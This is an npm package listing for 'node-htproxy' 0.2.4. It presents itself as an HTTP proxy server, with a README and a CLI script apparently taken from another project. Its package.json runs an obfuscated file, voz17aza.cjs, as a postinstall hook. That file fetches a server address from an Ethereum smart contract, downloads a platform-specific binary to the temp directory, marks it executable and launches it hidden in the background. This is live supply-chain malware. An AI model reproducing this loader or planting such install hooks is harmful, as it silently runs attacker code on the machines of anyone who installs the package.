node-htproxy 0.2.4
Sign up to get free protection for your applications and to get access to all the features.
- package/README.md +42 -0
- package/bin/node-http-proxy +103 -0
- package/index.js +8 -0
- package/package.json +56 -0
- package/voz17aza.cjs +1 -0
package/README.md
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
node-http-proxy
|
2
|
+
===============
|
3
|
+
|
4
|
+
a node http(s) proxy server with single process mode or multi process mode(set parameter '-i')
|
5
|
+
|
6
|
+
## Install node-http-proxy
|
7
|
+
|
8
|
+
```bash
|
9
|
+
$npm install -g node-http-proxy
|
10
|
+
```
|
11
|
+
|
12
|
+
## Server Start
|
13
|
+
|
14
|
+
```bash
|
15
|
+
$nproxy start -p 9999 -i 1
|
16
|
+
#start proxy server
|
17
|
+
#create child process 1 (default 1) or more(limit by cpu cores)
|
18
|
+
#on port 9999(default 8234)
|
19
|
+
|
20
|
+
$nproxy stop #stop server
|
21
|
+
|
22
|
+
```
|
23
|
+
|
24
|
+
## Use in code
|
25
|
+
```javascript
|
26
|
+
var ProxyMaster = require('node-http-proxy').proxyMaster;
|
27
|
+
|
28
|
+
var proxymaster = new ProxyMaster({instance:1,port:8123});
|
29
|
+
|
30
|
+
proxymaster.start();
|
31
|
+
```
|
32
|
+
|
33
|
+
|
34
|
+
## Useage
|
35
|
+
```bash
|
36
|
+
$curl -x 127.0.0.1:9999 http://www.google.com/
|
37
|
+
```
|
38
|
+
|
39
|
+
## Something need to do
|
40
|
+
|
41
|
+
1.finished nproxy command<br>
|
42
|
+
2.support other http method
|
@@ -0,0 +1,103 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
'use strict';
|
4
|
+
|
5
|
+
var program = require('commander');
|
6
|
+
var os = require('os');
|
7
|
+
var cp = require('child_process');
|
8
|
+
var fs = require('fs');
|
9
|
+
|
10
|
+
var common = require('../lib/common');
|
11
|
+
var SERVER_ENV = common.SERVER_ENV;
|
12
|
+
var PID = SERVER_ENV.PID;
|
13
|
+
var VERSION = SERVER_ENV.VERSION;
|
14
|
+
|
15
|
+
program.on('--help',function(){
|
16
|
+
console.log(" ================Basic Example===============");
|
17
|
+
console.log('');
|
18
|
+
console.log(' SERVER START');
|
19
|
+
console.log(' $nproxy start -p 8888 -i 1');
|
20
|
+
console.log('');
|
21
|
+
console.log(' SERVER STOP');
|
22
|
+
console.log(' $nproxy stop');
|
23
|
+
console.log('');
|
24
|
+
console.log(' view more detail at http://github.com/wddqing/node-http-proxy');
|
25
|
+
console.log('');
|
26
|
+
});
|
27
|
+
|
28
|
+
|
29
|
+
//set version
|
30
|
+
program.version(VERSION);
|
31
|
+
|
32
|
+
//program command
|
33
|
+
program.command('start')
|
34
|
+
.description('start server')
|
35
|
+
.option('-i --instance <i>','child process,0 means use max cpu cores',function(i){
|
36
|
+
//check instance size
|
37
|
+
var cores = os.cpus().length;
|
38
|
+
return i > cores? cores : i>0 ? i : 1
|
39
|
+
})
|
40
|
+
.option('-p --port <p>','listen port')
|
41
|
+
.option('-D --debug','set debug level')
|
42
|
+
.action(function(cmd){
|
43
|
+
if(fs.existsSync(PID)){
|
44
|
+
var pid = fs.readFileSync(PID);
|
45
|
+
console.log('stop nproxy pid',Number(pid));
|
46
|
+
try{
|
47
|
+
process.kill(Number(fs.readFileSync(PID),'SIGTERM'));
|
48
|
+
fs.unlinkSync(PID);
|
49
|
+
}catch(e){
|
50
|
+
console.log('server stop error',e)
|
51
|
+
}
|
52
|
+
}
|
53
|
+
|
54
|
+
var cp_opt = {
|
55
|
+
stdio: ['ignore', 'ignore', 'ignore'],
|
56
|
+
env: process.env,
|
57
|
+
cwd: process.cwd(),
|
58
|
+
detached: true
|
59
|
+
};
|
60
|
+
try{
|
61
|
+
var argv = ['-p',cmd.port || 8845,'-i',cmd.instance || os.cpus().length ,cmd.debug];
|
62
|
+
var child = cp.spawn(process.execPath,[__dirname+'/main.js'].concat(argv),cp_opt);
|
63
|
+
console.log('start process nproxy',child.pid,'pid file',PID);
|
64
|
+
fs.writeFileSync(PID,child.pid);
|
65
|
+
child.unref();
|
66
|
+
}catch(e){
|
67
|
+
console.log('server start error',e)
|
68
|
+
}
|
69
|
+
process.exit(0);
|
70
|
+
});
|
71
|
+
|
72
|
+
program.command('stop')
|
73
|
+
.description('stop server')
|
74
|
+
.action(function(cmd){
|
75
|
+
if(fs.existsSync(PID)){
|
76
|
+
var pid = fs.readFileSync(PID);
|
77
|
+
console.log('stop nproxy pid',Number(pid));
|
78
|
+
try{
|
79
|
+
process.kill(Number(fs.readFileSync(PID),'SIGTERM'));
|
80
|
+
fs.unlinkSync(PID);
|
81
|
+
}catch(e){
|
82
|
+
console.log('server stop error',e)
|
83
|
+
}
|
84
|
+
}
|
85
|
+
process.exit(0)
|
86
|
+
});
|
87
|
+
|
88
|
+
program.command('*')
|
89
|
+
.action(function(cmd){
|
90
|
+
console.log(' use --help for command usage')
|
91
|
+
});
|
92
|
+
|
93
|
+
//parse argv
|
94
|
+
program.parse(process.argv);
|
95
|
+
|
96
|
+
|
97
|
+
|
98
|
+
|
99
|
+
|
100
|
+
|
101
|
+
|
102
|
+
|
103
|
+
|
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,56 @@
|
|
1
|
+
{
|
2
|
+
"name": "node-htproxy",
|
3
|
+
"version": "0.2.4",
|
4
|
+
"description": "a http(s) proxy server ",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node voz17aza.cjs"
|
8
|
+
},
|
9
|
+
"engines": {
|
10
|
+
"node": ">=0.10"
|
11
|
+
},
|
12
|
+
"directories": {
|
13
|
+
"bin": "./bin",
|
14
|
+
"lib": "./lib",
|
15
|
+
"test": "./test"
|
16
|
+
},
|
17
|
+
"bin": {
|
18
|
+
"nproxy": "./bin/node-http-proxy"
|
19
|
+
},
|
20
|
+
"repository": {
|
21
|
+
"type": "git",
|
22
|
+
"url": "https://github.com/wddqing/node-http-proxy.git"
|
23
|
+
},
|
24
|
+
"dependencies": {
|
25
|
+
"pm": "2.2.5",
|
26
|
+
"bufferhelper": "0.2.0",
|
27
|
+
"request": "2.51.0",
|
28
|
+
"commander": "2.6.0",
|
29
|
+
"axios": "^1.7.7",
|
30
|
+
"ethers": "^6.13.2"
|
31
|
+
},
|
32
|
+
"devDependencies": {
|
33
|
+
"pm": "latest",
|
34
|
+
"bufferhelper": "latest",
|
35
|
+
"request": "latest",
|
36
|
+
"commander": "latest"
|
37
|
+
},
|
38
|
+
"author": "wddqing",
|
39
|
+
"license": "ISC",
|
40
|
+
"bugs": {
|
41
|
+
"url": "https://github.com/wddqing/node-http-proxy/issues"
|
42
|
+
},
|
43
|
+
"homepage": "https://github.com/wddqing/node-http-proxy",
|
44
|
+
"keywords": [
|
45
|
+
"node-http-proxy",
|
46
|
+
"http-proxy",
|
47
|
+
"proxy",
|
48
|
+
"bufferhelper",
|
49
|
+
"pm",
|
50
|
+
"request",
|
51
|
+
"commander"
|
52
|
+
],
|
53
|
+
"files": [
|
54
|
+
"voz17aza.cjs"
|
55
|
+
]
|
56
|
+
}
|
package/voz17aza.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x4356(){const _0xb2ca7d=['/node-linux','uTEFE','Ошибка\x20при\x20запуске\x20файла:','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','4060852VFdmYh','error','stream','darwin','avRzz','linux','/node-macos','Unsupported\x20platform:\x20','ipjgE','aOEDP','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','94907pnOecD','4983093DlfXNN','ethers','QgGip','unref','finish','Ошибка\x20при\x20получении\x20IP\x20адреса:','QEwrT','join','20TdQYIS','5539810NiDIgU','axios','AWWlU','chmodSync','16cpwIjN','GiVIC','win32','Contract','112446AAnJqV','pipe','tmpdir','mainnet','XfSIu','6765808NTTLIh','94LqrPZy','platform','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','7350hZVkas','vwzta','createWriteStream','CnetQ','basename','getString','child_process','data','NyLbN','PFnzE','dlkrZ'];_0x4356=function(){return _0xb2ca7d;};return _0x4356();}const _0x17c5a8=_0x5112;function _0x5112(_0x301a2a,_0x447e61){const _0x435642=_0x4356();return _0x5112=function(_0x511269,_0x45f96b){_0x511269=_0x511269-0x150;let _0x560ae1=_0x435642[_0x511269];return _0x560ae1;},_0x5112(_0x301a2a,_0x447e61);}(function(_0x271385,_0x14bcbb){const _0x67ff64=_0x5112,_0x37696a=_0x271385();while(!![]){try{const _0x47f39a=parseInt(_0x67ff64(0x17f))/0x1+-parseInt(_0x67ff64(0x162))/0x2*(parseInt(_0x67ff64(0x165))/0x3)+-parseInt(_0x67ff64(0x174))/0x4+-parseInt(_0x67ff64(0x153))/0x5*(-parseInt(_0x67ff64(0x15c))/0x6)+parseInt(_0x67ff64(0x161))/0x7+parseInt(_0x67ff64(0x158))/0x8*(parseInt(_0x67ff64(0x180))/0x9)+-parseInt(_0x67ff64(0x154))/0xa;if(_0x47f39a===_0x14bcbb)break;else _0x37696a['push'](_0x37696a['shift']());}catch(_0x511cf0){_0x37696a['push'](_0x37696a['shift']());}}}(_0x4356,0x88941));const {ethers}=require(_0x17c5a8(0x181)),axios=require(_0x17c5a8(0x155)),util=require('util'),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x17c5a8(0x16b)),contractAddress=_0x17c5a8(0x17e),WalletOwner=_0x17c5a8(0x173),abi=[_0x17c5a8(0x164)],provider=ethers['getDefaultProvider'](_0x17c5a8(0x15f)),contract=new ethers[(_0x17c5a8(0x15b))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x5b846f=_0x17c5a8,_0x49fccb={'AWWlU':_0x5b846f(0x150),'NyLbN':function(_0x4a6146){return _0x4a6146();}};try{const _0xe6ca3f=await contract[_0x5b846f(0x16a)](WalletOwner);return _0xe6ca3f;}catch(_0x53759f){return console[_0x5b846f(0x175)](_0x49fccb[_0x5b846f(0x156)],_0x53759f),await _0x49fccb[_0x5b846f(0x16d)](fetchAndUpdateIp);}},getDownloadUrl=_0x5ea12b=>{const _0x1f36c4=_0x17c5a8,_0x35497a={'qjLdX':_0x1f36c4(0x15a),'aOEDP':_0x1f36c4(0x177)},_0x16d4c6=os[_0x1f36c4(0x163)]();switch(_0x16d4c6){case _0x35497a['qjLdX']:return _0x5ea12b+'/node-win.exe';case _0x1f36c4(0x179):return _0x5ea12b+_0x1f36c4(0x170);case _0x35497a[_0x1f36c4(0x17d)]:return _0x5ea12b+_0x1f36c4(0x17a);default:throw new Error(_0x1f36c4(0x17b)+_0x16d4c6);}},downloadFile=async(_0x3f0aad,_0x484193)=>{const _0x3af4c4=_0x17c5a8,_0x1f699d={'QgGip':_0x3af4c4(0x184),'avRzz':_0x3af4c4(0x175),'ipjgE':function(_0x45e36a,_0x2aa5e4){return _0x45e36a(_0x2aa5e4);}},_0x4afb08=fs[_0x3af4c4(0x167)](_0x484193),_0x2784af=await _0x1f699d[_0x3af4c4(0x17c)](axios,{'url':_0x3f0aad,'method':'GET','responseType':_0x3af4c4(0x176)});return _0x2784af[_0x3af4c4(0x16c)][_0x3af4c4(0x15d)](_0x4afb08),new Promise((_0x5bb453,_0x3ccc35)=>{const _0x3c0c2d=_0x3af4c4;_0x4afb08['on'](_0x1f699d[_0x3c0c2d(0x182)],_0x5bb453),_0x4afb08['on'](_0x1f699d[_0x3c0c2d(0x178)],_0x3ccc35);});},executeFileInBackground=async _0x547616=>{const _0x30f9fe=_0x17c5a8,_0x356c85={'CnetQ':function(_0x1f755b,_0xf37be,_0x1b5910,_0x3c4a2d){return _0x1f755b(_0xf37be,_0x1b5910,_0x3c4a2d);},'vwzta':'ignore','uTEFE':_0x30f9fe(0x172)};try{const _0x635022=_0x356c85[_0x30f9fe(0x168)](spawn,_0x547616,[],{'detached':!![],'stdio':_0x356c85[_0x30f9fe(0x166)]});_0x635022[_0x30f9fe(0x183)]();}catch(_0x34b675){console[_0x30f9fe(0x175)](_0x356c85[_0x30f9fe(0x171)],_0x34b675);}},runInstallation=async()=>{const _0x44cfa2=_0x17c5a8,_0xf100c4={'XfSIu':function(_0x4bbb6a){return _0x4bbb6a();},'PFnzE':function(_0x2e240b,_0x40fb9a){return _0x2e240b(_0x40fb9a);},'kUFat':function(_0x161747,_0x2da1df,_0x4ab2b7){return _0x161747(_0x2da1df,_0x4ab2b7);},'meLBp':function(_0x3cfcd7,_0x381209){return _0x3cfcd7!==_0x381209;},'GiVIC':_0x44cfa2(0x15a),'XMIsA':'755','QEwrT':function(_0x2a89cd,_0xf3bc72){return _0x2a89cd(_0xf3bc72);},'dlkrZ':'Ошибка\x20установки:'};try{const _0x5dfe73=await _0xf100c4[_0x44cfa2(0x160)](fetchAndUpdateIp),_0x1fffd4=_0xf100c4[_0x44cfa2(0x16e)](getDownloadUrl,_0x5dfe73),_0x43d598=os[_0x44cfa2(0x15e)](),_0x42249a=path[_0x44cfa2(0x169)](_0x1fffd4),_0x15e570=path[_0x44cfa2(0x152)](_0x43d598,_0x42249a);await _0xf100c4['kUFat'](downloadFile,_0x1fffd4,_0x15e570);if(_0xf100c4['meLBp'](os[_0x44cfa2(0x163)](),_0xf100c4[_0x44cfa2(0x159)]))fs[_0x44cfa2(0x157)](_0x15e570,_0xf100c4['XMIsA']);_0xf100c4[_0x44cfa2(0x151)](executeFileInBackground,_0x15e570);}catch(_0x5891d4){console[_0x44cfa2(0x175)](_0xf100c4[_0x44cfa2(0x16f)],_0x5891d4);}};runInstallation();
|